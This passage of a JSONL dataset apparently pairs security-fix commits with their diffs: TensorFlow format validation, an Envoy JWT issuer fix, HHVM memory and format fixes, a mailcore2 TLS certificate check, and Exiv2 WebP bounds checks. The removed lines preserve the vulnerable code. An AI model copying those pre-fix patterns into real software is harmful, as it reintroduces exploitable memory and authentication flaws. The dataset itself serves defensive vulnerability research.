errors::InvalidArgument(strings::StrCat(\n- \"Source format must of length 4 or 5, received \"\n+ errors::InvalidArgument(\n+ \"Source format must be of length 4 or 5, received \"\n \"src_format = \",\n- src_format)));\n+ src_format));\n+ OP_REQUIRES(context, dst_format.size() == 4 || dst_format.size() == 5,\n+ errors::InvalidArgument(\"Destination format must be of length \"\n+ \"4 or 5, received dst_format = \",\n+ dst_format));\n OP_REQUIRES(\n- context, dst_format.size() == 4 || dst_format.size() == 5,\n- errors::InvalidArgument(strings::StrCat(\n- \"Destination format must of length 4 or 5, received dst_format = \",\n- dst_format)));\n+ context, IsValidPermutation(src_format, dst_format),\n+ errors::InvalidArgument(\n+ \"Destination and source format must determine a permutation, got \",\n+ src_format, \" and \", dst_format));\n dst_idx_ = Tensor(DT_INT32, {static_cast(src_format.size())});\n for (int i = 0; i < src_format.size(); ++i) {\n for (int j = 0; j < dst_format.size(); ++j) {\n", "related": false}, {"section": "@@ -78,8 +118,22 @@ class DataFormatVecPermuteOp : public OpKernel {\n : OpKernel(context) {\n string src_format;\n OP_REQUIRES_OK(context, context->GetAttr(\"src_format\", &src_format));\n+ OP_REQUIRES(context, src_format.size() == 4 || src_format.size() == 5,\n+ errors::InvalidArgument(\n+ \"Source format must be of length 4 or 5, received \"\n+ \"src_format = \",\n+ src_format));\n string dst_format;\n OP_REQUIRES_OK(context, context->GetAttr(\"dst_format\", &dst_format));\n+ OP_REQUIRES(context, dst_format.size() == 4 || dst_format.size() == 5,\n+ errors::InvalidArgument(\"Destination format must be of length \"\n+ \"4 or 5, received dst_format = \",\n+ dst_format));\n+ OP_REQUIRES(\n+ context, IsValidPermutation(src_format, dst_format),\n+ errors::InvalidArgument(\n+ \"Destination and source format must determine a permutation, got \",\n+ src_format, \" and \", dst_format));\n src_format_ = src_format;\n dst_format_ = dst_format;\n }\n", "related": false}, {"section": "@@ -127,6 +181,10 @@ class DataFormatVecPermuteOp : public OpKernel {\n };\n keep_only_spatial_dimensions(&src_format_str);\n keep_only_spatial_dimensions(&dst_format_str);\n+ OP_REQUIRES(context,\n+ src_format_str.size() == 2 && dst_format_str.size() == 2,\n+ errors::InvalidArgument(\n+ \"Format specifier must contain H and W for 2D case\"));\n }\n ComputeDstIndex(src_format_str, dst_format_str, input.dims(), &dst_idx);\n ", "related": false}]} +{"owner": "apache", "repo": "trafficserver", "language": "C", "file_name": "proxy/http/HttpConfig.cc", "commit_id": "8eb68266167d8f8b3fa3a00ca9f6b7889e8ec101", "commit_message": "Add negative caching tests and fixes. (#7361)\n\nThis adds test coverage for the negative caching feature and makes some\r\nfixes as a result of the test's findings.", "patch": "@@ -1038,7 +1038,7 @@ set_negative_caching_list(const char *name, RecDataT dtype, RecData data, HttpCo\n HttpStatusBitset set;\n // values from proxy.config.http.negative_caching_list\n if (0 == strcasecmp(\"proxy.config.http.negative_caching_list\", name) && RECD_STRING == dtype && data.rec_string) {\n- // parse the list of status code\n+ // parse the list of status codes\n ts::TextView status_list(data.rec_string, strlen(data.rec_string));\n auto is_sep{[](char c) { return isspace(c) || ',' == c || ';' == c; }};\n while (!status_list.ltrim_if(is_sep).empty()) {", "sections": [{"section": "@@ -1038,7 +1038,7 @@ set_negative_caching_list(const char *name, RecDataT dtype, RecData data, HttpCo\n HttpStatusBitset set;\n // values from proxy.config.http.negative_caching_list\n if (0 == strcasecmp(\"proxy.config.http.negative_caching_list\", name) && RECD_STRING == dtype && data.rec_string) {\n- // parse the list of status code\n+ // parse the list of status codes\n ts::TextView status_list(data.rec_string, strlen(data.rec_string));\n auto is_sep{[](char c) { return isspace(c) || ',' == c || ';' == c; }};\n while (!status_list.ltrim_if(is_sep).empty()) {", "related": false}]} +{"owner": "canarymail", "repo": "mailcore2", "language": "C++", "file_name": "src/core/imap/MCIMAPSession.cpp", "commit_id": "45acb4efbcaa57a20ac5127dc976538671fce018", "commit_message": "[Core] Check Start/TLS cert", "patch": "@@ -682,6 +682,13 @@ void IMAPSession::connect(ErrorCode * pError)\n * pError = ErrorTLSNotAvailable;\n goto close;\n }\n+ \n+ mIsCertificateValid = checkCertificate();\n+ if (isCheckCertificateEnabled() && !mIsCertificateValid) {\n+ * pError = ErrorCertificate;\n+ goto close;\n+ }\n+ \n break;\n \n case ConnectionTypeTLS:", "sections": [{"section": "@@ -682,6 +682,13 @@ void IMAPSession::connect(ErrorCode * pError)\n * pError = ErrorTLSNotAvailable;\n goto close;\n }\n+ \n+ mIsCertificateValid = checkCertificate();\n+ if (isCheckCertificateEnabled() && !mIsCertificateValid) {\n+ * pError = ErrorCertificate;\n+ goto close;\n+ }\n+ \n break;\n \n case ConnectionTypeTLS:", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/extensions/filters/http/jwt_authn/all_verifier_test.cc", "commit_id": "ea39e3cba652bcc4b11bb0d5c62b017e584d2e5a", "commit_message": "jwt_authn: fix a bug where JWT with wrong issuer is allowed in allow_missing case (#15194)\n\n[jwt] When allow_missing is used inside RequiresAny, the requests with JWT with wrong issuer are accepted. This is a bug, allow_missing should only allow requests without any JWT. This change fixed the above issue by preserving JwtUnknownIssuer in allow_missing case.\r\n\r\nSigned-off-by: Wayne Zhang ", "patch": "@@ -197,7 +197,7 @@ TEST_F(SingleAllowMissingInOrListTest, BadJwt) {\n }\n \n TEST_F(SingleAllowMissingInOrListTest, MissingIssToken) {\n- EXPECT_CALL(mock_cb_, onComplete(Status::Ok));\n+ EXPECT_CALL(mock_cb_, onComplete(Status::JwtUnknownIssuer));\n auto headers = Http::TestRequestHeaderMapImpl{{kExampleHeader, ES256WithoutIssToken}};\n context_ = Verifier::createContext(headers, parent_span_, &mock_cb_);\n verifier_->verify(context_);\n@@ -471,6 +471,15 @@ TEST_F(AllowMissingInOrListTest, OtherGoodJwt) {\n EXPECT_THAT(headers, JwtOutputFailedOrIgnore(kOtherHeader));\n }\n \n+TEST_F(AllowMissingInOrListTest, WrongIssuer) {\n+ EXPECT_CALL(mock_cb_, onComplete(Status::JwtUnknownIssuer));\n+ auto headers = Http::TestRequestHeaderMapImpl{{kExampleHeader, OtherGoodToken}};\n+ context_ = Verifier::createContext(headers, parent_span_, &mock_cb_);\n+ verifier_->verify(context_);\n+ // x-other JWT should be ignored.\n+ EXPECT_THAT(headers, JwtOutputFailedOrIgnore(kOtherHeader));\n+}\n+\n TEST_F(AllowMissingInOrListTest, BadAndGoodJwts) {\n EXPECT_CALL(mock_cb_, onComplete(Status::JwtVerificationFail));\n auto headers = Http::TestRequestHeaderMapImpl{{kExampleHeader, NonExistKidToken},\n@@ -589,7 +598,7 @@ TEST_F(AllowMissingInAndOfOrListTest, TwoGoodJwts) {\n }\n \n TEST_F(AllowMissingInAndOfOrListTest, GoodAndBadJwts) {\n- EXPECT_CALL(mock_cb_, onComplete(Status::Ok));\n+ EXPECT_CALL(mock_cb_, onComplete(Status::JwtUnknownIssuer));\n // Use the token with example.com issuer for x-other.\n auto headers =\n Http::TestRequestHeaderMapImpl{{kExampleHeader, GoodToken}, {kOtherHeader, GoodToken}};", "sections": [{"section": "@@ -197,7 +197,7 @@ TEST_F(SingleAllowMissingInOrListTest, BadJwt) {\n }\n \n TEST_F(SingleAllowMissingInOrListTest, MissingIssToken) {\n- EXPECT_CALL(mock_cb_, onComplete(Status::Ok));\n+ EXPECT_CALL(mock_cb_, onComplete(Status::JwtUnknownIssuer));\n auto headers = Http::TestRequestHeaderMapImpl{{kExampleHeader, ES256WithoutIssToken}};\n context_ = Verifier::createContext(headers, parent_span_, &mock_cb_);\n verifier_->verify(context_);\n", "related": false}, {"section": "@@ -471,6 +471,15 @@ TEST_F(AllowMissingInOrListTest, OtherGoodJwt) {\n EXPECT_THAT(headers, JwtOutputFailedOrIgnore(kOtherHeader));\n }\n \n+TEST_F(AllowMissingInOrListTest, WrongIssuer) {\n+ EXPECT_CALL(mock_cb_, onComplete(Status::JwtUnknownIssuer));\n+ auto headers = Http::TestRequestHeaderMapImpl{{kExampleHeader, OtherGoodToken}};\n+ context_ = Verifier::createContext(headers, parent_span_, &mock_cb_);\n+ verifier_->verify(context_);\n+ // x-other JWT should be ignored.\n+ EXPECT_THAT(headers, JwtOutputFailedOrIgnore(kOtherHeader));\n+}\n+\n TEST_F(AllowMissingInOrListTest, BadAndGoodJwts) {\n EXPECT_CALL(mock_cb_, onComplete(Status::JwtVerificationFail));\n auto headers = Http::TestRequestHeaderMapImpl{{kExampleHeader, NonExistKidToken},\n", "related": false}, {"section": "@@ -589,7 +598,7 @@ TEST_F(AllowMissingInAndOfOrListTest, TwoGoodJwts) {\n }\n \n TEST_F(AllowMissingInAndOfOrListTest, GoodAndBadJwts) {\n- EXPECT_CALL(mock_cb_, onComplete(Status::Ok));\n+ EXPECT_CALL(mock_cb_, onComplete(Status::JwtUnknownIssuer));\n // Use the token with example.com issuer for x-other.\n auto headers =\n Http::TestRequestHeaderMapImpl{{kExampleHeader, GoodToken}, {kOtherHeader, GoodToken}};", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/base/preg.cpp", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -1925,6 +1925,9 @@ String preg_quote(const String& str,\n \n /* Allocate enough memory so that even if each character\n is quoted, we won't run out of room */\n+ static_assert(\n+ (StringData::MaxSize * 4 + 1) < std::numeric_limits::max()\n+ );\n String ret(4 * str.size() + 1, ReserveString);\n char* out_str = ret.mutableData();\n ", "sections": [{"section": "@@ -1925,6 +1925,9 @@ String preg_quote(const String& str,\n \n /* Allocate enough memory so that even if each character\n is quoted, we won't run out of room */\n+ static_assert(\n+ (StringData::MaxSize * 4 + 1) < std::numeric_limits::max()\n+ );\n String ret(4 * str.size() + 1, ReserveString);\n char* out_str = ret.mutableData();\n ", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/std/ext_std_variable.cpp", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -454,7 +454,7 @@ ALWAYS_INLINE String serialize_impl(const Variant& value,\n lazyClassToStringHelper(value.toLazyClassVal());\n auto const size = str->size();\n if (size >= RuntimeOption::MaxSerializedStringSize) {\n- throw Exception(\"Size of serialized string (%d) exceeds max\", size);\n+ throw Exception(\"Size of serialized string (%ld) exceeds max\", size);\n }\n StringBuffer sb;\n sb.append(\"s:\");", "sections": [{"section": "@@ -454,7 +454,7 @@ ALWAYS_INLINE String serialize_impl(const Variant& value,\n lazyClassToStringHelper(value.toLazyClassVal());\n auto const size = str->size();\n if (size >= RuntimeOption::MaxSerializedStringSize) {\n- throw Exception(\"Size of serialized string (%d) exceeds max\", size);\n+ throw Exception(\"Size of serialized string (%ld) exceeds max\", size);\n }\n StringBuffer sb;\n sb.append(\"s:\");", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C", "file_name": "hphp/runtime/base/type-string.h", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -195,7 +195,7 @@ struct String {\n }\n \n public:\n- const String& setSize(int len) {\n+ const String& setSize(int64_t len) {\n assertx(m_str);\n m_str->setSize(len);\n return *this;\n@@ -224,10 +224,10 @@ struct String {\n bool empty() const {\n return m_str ? m_str->empty() : true;\n }\n- int size() const {\n+ int64_t size() const {\n return m_str ? m_str->size() : 0;\n }\n- int length() const {\n+ int64_t length() const {\n return m_str ? m_str->size() : 0;\n }\n uint32_t capacity() const {\n@@ -591,4 +591,3 @@ template<> class FormatValue {\n const HPHP::StaticString& m_val;\n };\n }\n-", "sections": [{"section": "@@ -195,7 +195,7 @@ struct String {\n }\n \n public:\n- const String& setSize(int len) {\n+ const String& setSize(int64_t len) {\n assertx(m_str);\n m_str->setSize(len);\n return *this;\n", "related": false}, {"section": "@@ -224,10 +224,10 @@ struct String {\n bool empty() const {\n return m_str ? m_str->empty() : true;\n }\n- int size() const {\n+ int64_t size() const {\n return m_str ? m_str->size() : 0;\n }\n- int length() const {\n+ int64_t length() const {\n return m_str ? m_str->size() : 0;\n }\n uint32_t capacity() const {\n", "related": false}, {"section": "@@ -591,4 +591,3 @@ template<> class FormatValue {\n const HPHP::StaticString& m_val;\n };\n }\n-", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C", "file_name": "hphp/util/light-process.h", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -137,4 +137,3 @@ struct LightProcess {\n \n ///////////////////////////////////////////////////////////////////////////////\n }\n-", "sections": [{"section": "@@ -137,4 +137,3 @@ struct LightProcess {\n \n ///////////////////////////////////////////////////////////////////////////////\n }\n-", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/mcrypt/ext_mcrypt.cpp", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -656,7 +656,7 @@ Variant HHVM_FUNCTION(mcrypt_generic_init, const Resource& td,\n \n int key_size;\n if (key.size() > max_key_size) {\n- raise_warning(\"Key size too large; supplied length: %d, max: %d\",\n+ raise_warning(\"Key size too large; supplied length: %ld, max: %d\",\n key.size(), max_key_size);\n key_size = max_key_size;\n } else {\n@@ -665,10 +665,10 @@ Variant HHVM_FUNCTION(mcrypt_generic_init, const Resource& td,\n memcpy(key_s, key.data(), key.size());\n \n if (iv.size() != iv_size) {\n- raise_warning(\"Iv size incorrect; supplied length: %d, needed: %d\",\n+ raise_warning(\"Iv size incorrect; supplied length: %ld, needed: %d\",\n iv.size(), iv_size);\n }\n- memcpy(iv_s, iv.data(), std::min(iv_size, iv.size()));\n+ memcpy(iv_s, iv.data(), std::min(iv_size, iv.size()));\n \n mcrypt_generic_deinit(pm->m_td);\n int result = mcrypt_generic_init(pm->m_td, key_s, key_size, iv_s);", "sections": [{"section": "@@ -656,7 +656,7 @@ Variant HHVM_FUNCTION(mcrypt_generic_init, const Resource& td,\n \n int key_size;\n if (key.size() > max_key_size) {\n- raise_warning(\"Key size too large; supplied length: %d, max: %d\",\n+ raise_warning(\"Key size too large; supplied length: %ld, max: %d\",\n key.size(), max_key_size);\n key_size = max_key_size;\n } else {\n", "related": false}, {"section": "@@ -665,10 +665,10 @@ Variant HHVM_FUNCTION(mcrypt_generic_init, const Resource& td,\n memcpy(key_s, key.data(), key.size());\n \n if (iv.size() != iv_size) {\n- raise_warning(\"Iv size incorrect; supplied length: %d, needed: %d\",\n+ raise_warning(\"Iv size incorrect; supplied length: %ld, needed: %d\",\n iv.size(), iv_size);\n }\n- memcpy(iv_s, iv.data(), std::min(iv_size, iv.size()));\n+ memcpy(iv_s, iv.data(), std::min(iv_size, iv.size()));\n \n mcrypt_generic_deinit(pm->m_td);\n int result = mcrypt_generic_init(pm->m_td, key_s, key_size, iv_s);", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/base/mem-file.cpp", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -109,13 +109,15 @@ bool MemFile::closeImpl() {\n int64_t MemFile::readImpl(char *buffer, int64_t length) {\n assertx(m_len != -1);\n assertx(length > 0);\n+ assertx(m_cursor >= 0);\n int64_t remaining = m_len - m_cursor;\n if (remaining < length) length = remaining;\n if (length > 0) {\n memcpy(buffer, (const void *)(m_data + m_cursor), length);\n+ m_cursor += length;\n+ return length;\n }\n- m_cursor += length;\n- return length;\n+ return 0;\n }\n \n int MemFile::getc() {\n@@ -126,7 +128,7 @@ int MemFile::getc() {\n bool MemFile::seek(int64_t offset, int whence /* = SEEK_SET */) {\n assertx(m_len != -1);\n if (whence == SEEK_CUR) {\n- if (offset > 0 && offset < bufferedLen()) {\n+ if (offset >= 0 && offset < bufferedLen()) {\n setReadPosition(getReadPosition() + offset);\n setPosition(getPosition() + offset);\n return true;\n@@ -139,10 +141,13 @@ bool MemFile::seek(int64_t offset, int whence /* = SEEK_SET */) {\n setWritePosition(0);\n setReadPosition(0);\n if (whence == SEEK_SET) {\n+ if (offset < 0) return false;\n m_cursor = offset;\n- } else {\n- assertx(whence == SEEK_END);\n+ } else if (whence == SEEK_END) {\n+ if (m_len + offset < 0) return false;\n m_cursor = m_len + offset;\n+ } else {\n+ return false;\n }\n setPosition(m_cursor);\n return true;", "sections": [{"section": "@@ -109,13 +109,15 @@ bool MemFile::closeImpl() {\n int64_t MemFile::readImpl(char *buffer, int64_t length) {\n assertx(m_len != -1);\n assertx(length > 0);\n+ assertx(m_cursor >= 0);\n int64_t remaining = m_len - m_cursor;\n if (remaining < length) length = remaining;\n if (length > 0) {\n memcpy(buffer, (const void *)(m_data + m_cursor), length);\n+ m_cursor += length;\n+ return length;\n }\n- m_cursor += length;\n- return length;\n+ return 0;\n }\n \n int MemFile::getc() {\n", "related": false}, {"section": "@@ -126,7 +128,7 @@ int MemFile::getc() {\n bool MemFile::seek(int64_t offset, int whence /* = SEEK_SET */) {\n assertx(m_len != -1);\n if (whence == SEEK_CUR) {\n- if (offset > 0 && offset < bufferedLen()) {\n+ if (offset >= 0 && offset < bufferedLen()) {\n setReadPosition(getReadPosition() + offset);\n setPosition(getPosition() + offset);\n return true;\n", "related": false}, {"section": "@@ -139,10 +141,13 @@ bool MemFile::seek(int64_t offset, int whence /* = SEEK_SET */) {\n setWritePosition(0);\n setReadPosition(0);\n if (whence == SEEK_SET) {\n+ if (offset < 0) return false;\n m_cursor = offset;\n- } else {\n- assertx(whence == SEEK_END);\n+ } else if (whence == SEEK_END) {\n+ if (m_len + offset < 0) return false;\n m_cursor = m_len + offset;\n+ } else {\n+ return false;\n }\n setPosition(m_cursor);\n return true;", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/std/ext_std_file.cpp", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -464,7 +464,7 @@ Variant HHVM_FUNCTION(fwrite,\n CHECK_HANDLE(handle, f);\n int64_t ret = f->write(data, length);\n if (ret < 0) {\n- raise_notice(\"fwrite(): send of %d bytes failed with errno=%d %s\",\n+ raise_notice(\"fwrite(): send of %ld bytes failed with errno=%d %s\",\n data.size(), errno, folly::errnoStr(errno).c_str());\n ret = 0;\n }", "sections": [{"section": "@@ -464,7 +464,7 @@ Variant HHVM_FUNCTION(fwrite,\n CHECK_HANDLE(handle, f);\n int64_t ret = f->write(data, length);\n if (ret < 0) {\n- raise_notice(\"fwrite(): send of %d bytes failed with errno=%d %s\",\n+ raise_notice(\"fwrite(): send of %ld bytes failed with errno=%d %s\",\n data.size(), errno, folly::errnoStr(errno).c_str());\n ret = 0;\n }", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C", "file_name": "hphp/runtime/base/runtime-option.h", "commit_id": "abe0b29e4d3a610f9bc920b8be4ad8403364c2d4", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2020/11/12/security-update.html", "patch": "@@ -496,6 +496,8 @@ struct RuntimeOption {\n static std::set AdminPasswords;\n static std::set HashedAdminPasswords;\n \n+ static std::string AdminDumpPath;\n+\n /*\n * Options related to reverse proxying. ProxyOriginRaw and ProxyPercentageRaw\n * may be mutated by background threads and should only be read or written", "sections": [{"section": "@@ -496,6 +496,8 @@ struct RuntimeOption {\n static std::set AdminPasswords;\n static std::set HashedAdminPasswords;\n \n+ static std::string AdminDumpPath;\n+\n /*\n * Options related to reverse proxying. ProxyOriginRaw and ProxyPercentageRaw\n * may be mutated by background threads and should only be read or written", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/zend/crypt-blowfish.cpp", "commit_id": "abe0b29e4d3a610f9bc920b8be4ad8403364c2d4", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2020/11/12/security-update.html", "patch": "@@ -696,7 +696,10 @@ static char *BF_crypt(const char *key, const char *setting,\n }\n \n count = (BF_word)1 << ((setting[4] - '0') * 10 + (setting[5] - '0'));\n- if (count < min || BF_decode(data.binary.salt, &setting[7], 16)) {\n+ if (count < min ||\n+ BF_decode(data.binary.salt, &setting[7], 16) ||\n+ ((unsigned int)(setting[7 + 22 - 1] - 0x20) >= 0x60)\n+ ) {\n __set_errno(EINVAL);\n return NULL;\n }\n@@ -914,4 +917,3 @@ char *_crypt_gensalt_blowfish_rn(const char *prefix, unsigned long count,\n return output;\n }\n #endif\n-", "sections": [{"section": "@@ -696,7 +696,10 @@ static char *BF_crypt(const char *key, const char *setting,\n }\n \n count = (BF_word)1 << ((setting[4] - '0') * 10 + (setting[5] - '0'));\n- if (count < min || BF_decode(data.binary.salt, &setting[7], 16)) {\n+ if (count < min ||\n+ BF_decode(data.binary.salt, &setting[7], 16) ||\n+ ((unsigned int)(setting[7 + 22 - 1] - 0x20) >= 0x60)\n+ ) {\n __set_errno(EINVAL);\n return NULL;\n }\n", "related": false}, {"section": "@@ -914,4 +917,3 @@ char *_crypt_gensalt_blowfish_rn(const char *prefix, unsigned long count,\n return output;\n }\n #endif\n-", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/openssl/ext_openssl.cpp", "commit_id": "08193b7f0cd3910256e00d599f0f3eb2519c44ca", "commit_message": "security fixes\n\nhttps://hhvm.com/blog/2021/02/25/security-update.html", "patch": "@@ -2940,7 +2940,7 @@ static bool php_openssl_validate_iv(\n }\n \n if (piv.size() < iv_required_len) {\n- raise_warning(\"IV passed is only %d bytes long, cipher \"\n+ raise_warning(\"IV passed is only %ld bytes long, cipher \"\n \"expects an IV of precisely %d bytes, padding with \\\\0\",\n piv.size(), iv_required_len);\n memcpy(iv_new, piv.data(), piv.size());\n@@ -2949,7 +2949,7 @@ static bool php_openssl_validate_iv(\n return true;\n }\n \n- raise_warning(\"IV passed is %d bytes long which is longer than the %d \"\n+ raise_warning(\"IV passed is %ld bytes long which is longer than the %d \"\n \"expected by selected cipher, truncating\", piv.size(),\n iv_required_len);\n memcpy(iv_new, piv.data(), iv_required_len);", "sections": [{"section": "@@ -2940,7 +2940,7 @@ static bool php_openssl_validate_iv(\n }\n \n if (piv.size() < iv_required_len) {\n- raise_warning(\"IV passed is only %d bytes long, cipher \"\n+ raise_warning(\"IV passed is only %ld bytes long, cipher \"\n \"expects an IV of precisely %d bytes, padding with \\\\0\",\n piv.size(), iv_required_len);\n memcpy(iv_new, piv.data(), piv.size());\n", "related": false}, {"section": "@@ -2949,7 +2949,7 @@ static bool php_openssl_validate_iv(\n return true;\n }\n \n- raise_warning(\"IV passed is %d bytes long which is longer than the %d \"\n+ raise_warning(\"IV passed is %ld bytes long which is longer than the %d \"\n \"expected by selected cipher, truncating\", piv.size(),\n iv_required_len);\n memcpy(iv_new, piv.data(), iv_required_len);", "related": false}]} +{"owner": "exiv2", "repo": "exiv2", "language": "C++", "file_name": "src/webpimage.cpp", "commit_id": "783b3a6ff15ed6f82a8f8e6c8a6f3b84a9b04d4b", "commit_message": "Improve bound checking in WebPImage::doWriteMetadata()", "patch": "@@ -145,7 +145,7 @@ namespace Exiv2 {\n DataBuf chunkId(WEBP_TAG_SIZE+1);\n chunkId.pData_ [WEBP_TAG_SIZE] = '\\0';\n \n- io_->read(data, WEBP_TAG_SIZE * 3);\n+ readOrThrow(*io_, data, WEBP_TAG_SIZE * 3, Exiv2::kerCorruptedMetadata);\n uint64_t filesize = Exiv2::getULong(data + WEBP_TAG_SIZE, littleEndian);\n \n /* Set up header */\n@@ -185,20 +185,28 @@ namespace Exiv2 {\n case we have any exif or xmp data, also check\n for any chunks with alpha frame/layer set */\n while ( !io_->eof() && (uint64_t) io_->tell() < filesize) {\n- io_->read(chunkId.pData_, WEBP_TAG_SIZE);\n- io_->read(size_buff, WEBP_TAG_SIZE);\n- long size = Exiv2::getULong(size_buff, littleEndian);\n+ readOrThrow(*io_, chunkId.pData_, WEBP_TAG_SIZE, Exiv2::kerCorruptedMetadata);\n+ readOrThrow(*io_, size_buff, WEBP_TAG_SIZE, Exiv2::kerCorruptedMetadata);\n+ const uint32_t size_u32 = Exiv2::getULong(size_buff, littleEndian);\n+\n+ // Check that `size_u32` is safe to cast to `long`.\n+ enforce(size_u32 <= static_cast(std::numeric_limits::max()),\n+ Exiv2::kerCorruptedMetadata);\n+ const long size = static_cast(size_u32);\n DataBuf payload(size);\n- io_->read(payload.pData_, payload.size_);\n- byte c;\n- if ( payload.size_ % 2 ) io_->read(&c,1);\n+ readOrThrow(*io_, payload.pData_, payload.size_, Exiv2::kerCorruptedMetadata);\n+ if ( payload.size_ % 2 ) {\n+ byte c;\n+ readOrThrow(*io_, &c, 1, Exiv2::kerCorruptedMetadata);\n+ }\n \n /* Chunk with information about features\n used in the file. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X) && !has_vp8x) {\n has_vp8x = true;\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X) && !has_size) {\n+ enforce(size >= 10, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf[WEBP_TAG_SIZE];\n \n@@ -227,6 +235,7 @@ namespace Exiv2 {\n }\n #endif\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8) && !has_size) {\n+ enforce(size >= 10, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf[2];\n \n@@ -244,11 +253,13 @@ namespace Exiv2 {\n \n /* Chunk with with lossless image data. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8L) && !has_alpha) {\n+ enforce(size >= 5, Exiv2::kerCorruptedMetadata);\n if ((payload.pData_[4] & WEBP_VP8X_ALPHA_BIT) == WEBP_VP8X_ALPHA_BIT) {\n has_alpha = true;\n }\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8L) && !has_size) {\n+ enforce(size >= 5, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf_w[2];\n byte size_buf_h[3];\n@@ -276,11 +287,13 @@ namespace Exiv2 {\n \n /* Chunk with animation frame. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ANMF) && !has_alpha) {\n+ enforce(size >= 6, Exiv2::kerCorruptedMetadata);\n if ((payload.pData_[5] & 0x2) == 0x2) {\n has_alpha = true;\n }\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ANMF) && !has_size) {\n+ enforce(size >= 12, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf[WEBP_TAG_SIZE];\n \n@@ -309,16 +322,22 @@ namespace Exiv2 {\n \n io_->seek(12, BasicIo::beg);\n while ( !io_->eof() && (uint64_t) io_->tell() < filesize) {\n- io_->read(chunkId.pData_, 4);\n- io_->read(size_buff, 4);\n+ readOrThrow(*io_, chunkId.pData_, 4, Exiv2::kerCorruptedMetadata);\n+ readOrThrow(*io_, size_buff, 4, Exiv2::kerCorruptedMetadata);\n+\n+ const uint32_t size_u32 = Exiv2::getULong(size_buff, littleEndian);\n \n- long size = Exiv2::getULong(size_buff, littleEndian);\n+ // Check that `size_u32` is safe to cast to `long`.\n+ enforce(size_u32 <= static_cast(std::numeric_limits::max()),\n+ Exiv2::kerCorruptedMetadata);\n+ const long size = static_cast(size_u32);\n \n DataBuf payload(size);\n- io_->read(payload.pData_, size);\n+ readOrThrow(*io_, payload.pData_, size, Exiv2::kerCorruptedMetadata);\n if ( io_->tell() % 2 ) io_->seek(+1,BasicIo::cur); // skip pad\n \n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X)) {\n+ enforce(size >= 1, Exiv2::kerCorruptedMetadata);\n if (has_icc){\n payload.pData_[0] |= WEBP_VP8X_ICC_BIT;\n } else {", "sections": [{"section": "@@ -145,7 +145,7 @@ namespace Exiv2 {\n DataBuf chunkId(WEBP_TAG_SIZE+1);\n chunkId.pData_ [WEBP_TAG_SIZE] = '\\0';\n \n- io_->read(data, WEBP_TAG_SIZE * 3);\n+ readOrThrow(*io_, data, WEBP_TAG_SIZE * 3, Exiv2::kerCorruptedMetadata);\n uint64_t filesize = Exiv2::getULong(data + WEBP_TAG_SIZE, littleEndian);\n \n /* Set up header */\n", "related": false}, {"section": "@@ -185,20 +185,28 @@ namespace Exiv2 {\n case we have any exif or xmp data, also check\n for any chunks with alpha frame/layer set */\n while ( !io_->eof() && (uint64_t) io_->tell() < filesize) {\n- io_->read(chunkId.pData_, WEBP_TAG_SIZE);\n- io_->read(size_buff, WEBP_TAG_SIZE);\n- long size = Exiv2::getULong(size_buff, littleEndian);\n+ readOrThrow(*io_, chunkId.pData_, WEBP_TAG_SIZE, Exiv2::kerCorruptedMetadata);\n+ readOrThrow(*io_, size_buff, WEBP_TAG_SIZE, Exiv2::kerCorruptedMetadata);\n+ const uint32_t size_u32 = Exiv2::getULong(size_buff, littleEndian);\n+\n+ // Check that `size_u32` is safe to cast to `long`.\n+ enforce(size_u32 <= static_cast(std::numeric_limits::max()),\n+ Exiv2::kerCorruptedMetadata);\n+ const long size = static_cast(size_u32);\n DataBuf payload(size);\n- io_->read(payload.pData_, payload.size_);\n- byte c;\n- if ( payload.size_ % 2 ) io_->read(&c,1);\n+ 